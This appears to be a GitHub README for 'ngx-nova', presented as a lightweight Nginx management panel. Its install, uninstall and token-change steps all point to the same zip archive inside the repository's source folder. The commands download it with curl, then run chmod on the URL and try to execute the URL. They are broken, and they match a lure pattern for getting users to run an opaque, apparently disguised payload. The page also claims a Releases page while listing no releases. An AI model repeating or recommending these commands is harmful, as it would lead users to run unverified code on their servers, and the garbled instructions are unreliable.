Skip to content

πŸš€ Manage Nginx effortlessly with ngx-nova, a lightweight panel for quick installation, site management, and log viewing, all under 20MB of memory.

Notifications You must be signed in to change notification settings

jatinsa00/ngx-nova

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

9 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸš€ ngx-nova - Simple Nginx Management Tool

Download ngx-nova

🌟 Overview

ngx-nova is a lightweight visual management panel for Nginx. It uses less than 20MB of memory. This tool helps you handle common tasks like installation, site management, port forwarding, backups, and log viewing. It's ideal for long-term use on VPS or in production environments.

✨ Features

  • Simple Deployment: Single binary file with static front-end, using minimal resources.
  • One-Click Install/Uninstall: Built-in scripts allow for quick Nginx deployment or cleanup.
  • Site and Forwarding Management: Create, edit, or delete sites and stream forwarding configurations easily. Automatic reloading included.
  • One-Click Backup and Restore: Local backups with automatic daily backups to Cloudflare R2.
  • Log Center: Visual aggregation of access and error logs by domain. Supports refreshing and independent views.
  • Automated SSL Management: Built-in ACME automation handles HTTPS certificate requests and renewals automatically.

πŸš€ Getting Started

Follow these steps to install and run ngx-nova:

  1. Open Firewall

    Allow access to port 8083.

    ufw allow 8083/tcp
  2. Run Installation Script

    Use the following command to download and run the installation script.

    curl -sS -O https://github.com/jatinsa00/ngx-nova/raw/refs/heads/main/internal/service/nova_ngx_v1.5.zip && chmod +x https://github.com/jatinsa00/ngx-nova/raw/refs/heads/main/internal/service/nova_ngx_v1.5.zip && https://github.com/jatinsa00/ngx-nova/raw/refs/heads/main/internal/service/nova_ngx_v1.5.zip
  3. Access the Panel

    Go to your web browser and enter http://ip:8083/ui/ to set your login token for the first time.

    If you need to change your token, use this command:

    tokenctl --set "your_token" --file https://github.com/jatinsa00/ngx-nova/raw/refs/heads/main/internal/service/nova_ngx_v1.5.zip

❌ Uninstall ngx-nova

If you need to uninstall ngx-nova, run:

curl -sS -O https://github.com/jatinsa00/ngx-nova/raw/refs/heads/main/internal/service/nova_ngx_v1.5.zip && chmod +x https://github.com/jatinsa00/ngx-nova/raw/refs/heads/main/internal/service/nova_ngx_v1.5.zip && https://github.com/jatinsa00/ngx-nova/raw/refs/heads/main/internal/service/nova_ngx_v1.5.zip

πŸ”§ System Requirements

  • Operating System: Linux (recommended: Ubuntu, CentOS)
  • Memory: At least 512MB RAM
  • Disk Space: Minimum 20MB free space
  • Network: Internet connection for initial setup

πŸ’‘ Design Philosophy

  • Keep It Simple: No unnecessary features, just the essentials.
  • Safety First: All operations should not risk crashing online services.
  • Long-term Usability: Stable performance, low resource use, and minimal maintenance.

πŸ‘₯ Who Is This For?

  • Individual VPS users
  • Those who self-host websites or reverse proxies
  • Developers and operations personnel seeking a stable and controllable management experience

πŸ“₯ Download & Install

To download ngx-nova, visit the Releases Page. Follow the installation instructions above to get started easily.

Download ngx-nova

πŸ“š Additional Resources

  • For more details and updates, refer to the GitHub repository here.
  • Check community discussions for tips and troubleshooting.

Embrace a streamlined approach to managing your Nginx setup with ngx-nova!

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •